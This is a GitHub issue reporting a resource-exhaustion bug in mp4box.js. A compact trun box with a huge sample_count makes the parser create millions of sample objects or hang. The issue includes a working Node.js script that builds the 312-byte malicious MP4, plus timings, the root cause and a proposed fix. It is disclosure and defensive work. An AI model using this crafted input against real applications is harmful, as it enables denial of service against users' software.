Skip to content

appendBuffer() materializes O(sample_count) objects from compact trun with no plausibility check #558

Description

@AmIAHuman

Summary

A fragmented MP4 with a compact trun (no per-sample fields, flags=0) and a large sample_count causes updateSampleLists() to loop sample_count times and push one full sample object per iteration to trak.samples. A 312-byte file with sample_count=1000000 takes ~200ms and allocates a million objects. With sample_count=100000000 the process hangs indefinitely. Any browser or Node.js application that parses untrusted fragmented MP4 data with mp4box.js is affected.

Environment

  • Platform: Linux x86_64, Ubuntu 24.04
  • Runtime: Node.js v18.19.1
  • Source version tested: current main at f5e0da0fe969cddd53b692b9012d43e2d45a2244
  • Reproduction: direct API-level reproducer against a built dist/mp4box.all.js

Minimal Reproducer

Save as repro.mjs (requires npm ci && npm run build first):

import { createFile } from './dist/mp4box.all.js';

function u32(v) { return [(v>>>24)&0xff,(v>>>16)&0xff,(v>>>8)&0xff,v&0xff]; }
function ascii(s) { return Array.from(s, c => c.charCodeAt(0)); }
function box(type, payload) { return Uint8Array.from([...u32(payload.length+8),...ascii(type),...payload]); }
function concat(...a) { const o=new Uint8Array(a.reduce((n,x)=>n+x.length,0)); let p=0; for(const x of a){o.set(x,p);p+=x.length;} return o; }
function fullbox(ver, flags, payload) { return Uint8Array.from([ver,(flags>>>16)&0xff,(flags>>>8)&0xff,flags&0xff,...payload]); }

const sampleCount = Number(process.argv[2] ?? 1);
const trackId = 1;
const ftyp = box('ftyp', Uint8Array.from([...ascii('isom'),...u32(0),...ascii('isom')]));
const mdhd = box('mdhd', fullbox(0,0,Uint8Array.from([...u32(0),...u32(0),...u32(1000),...u32(0),0x55,0xc4,0,0])));
const stbl = box('stbl', box('stsd', fullbox(0,0,Uint8Array.from(u32(0)))));
const minf = box('minf', stbl);
const mdia = box('mdia', concat(mdhd, minf));
const tkhd = box('tkhd', fullbox(0,3,Uint8Array.from([...u32(0),...u32(0),...u32(trackId),...u32(0),...u32(0),...u32(0),...u32(0),0,0,0,0,0,0,0,0,...[0x00010000,0,0,0,0x00010000,0,0,0,0x40000000].flatMap(x=>u32(x>>>0)),...u32(0),...u32(0)])));
const trak = box('trak', concat(tkhd, mdia));
const trex = box('trex', fullbox(0,0,Uint8Array.from([...u32(trackId),...u32(1),...u32(1),...u32(1),...u32(0)])));
const mvex = box('mvex', trex);
const moov = box('moov', concat(trak, mvex));
const tfhd = box('tfhd', fullbox(0,0,Uint8Array.from(u32(trackId))));
const tfdt = box('tfdt', fullbox(0,0,Uint8Array.from(u32(0))));
const trun = box('trun', fullbox(0,0,Uint8Array.from(u32(sampleCount))));
const traf = box('traf', concat(tfhd, tfdt, trun));
const moof = box('moof', traf);
const mdat = box('mdat', Uint8Array.from([]));
const data = concat(ftyp, moov, moof, mdat);

const ab = data.buffer.slice(data.byteOffset, data.byteOffset + data.byteLength);
ab.fileStart = 0;
const mp4 = createFile();
const start = performance.now();
mp4.appendBuffer(ab);
mp4.flush();
const ms = (performance.now() - start).toFixed(1);
const samples = mp4.moov?.traks?.[0]?.samples?.length ?? 0;
console.log(`sample_count=${sampleCount} fileBytes=${data.length} materializedSamples=${samples} elapsed=${ms}ms`);

Run:

$ node repro.mjs 1
sample_count=1 fileBytes=312 materializedSamples=1 elapsed=3.4ms

$ node repro.mjs 1000000
sample_count=1000000 fileBytes=312 materializedSamples=1000000 elapsed=205.8ms

$ timeout 3s node repro.mjs 100000000
(killed after 3s -- exit 124)

The file is always 312 bytes. The only field that changes is the 4-byte sample_count in the trun box.

Root Cause

The trun parser at src/boxes/trun.ts:46 correctly skips the per-sample table loop when no box payload remains (compact trun with default-sample inheritance from trex). But updateSampleLists() at src/isofile.ts:1738 later iterates to trun.sample_count unconditionally:

for (let k = 0; k < trun.sample_count; k++) {
  ...
  const sample: Sample = { ... };
  trak.samples.push(sample);
}

There is no check that sample_count is plausible for the available mdat payload or any resource bound. The count is a raw 32-bit integer from the box header, so a theoretical maximum of ~4 billion iterations is reachable from a tiny input.

Proposed Fix

Check sample_count against available mdat payload before the loop, or cap materialization with a configurable budget.

Verification

Confirmed on main HEAD f5e0da0. The negative control (sample_count=1) returns in ~3ms with 1 sample materialized, isolating the issue to the unchecked loop bound.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions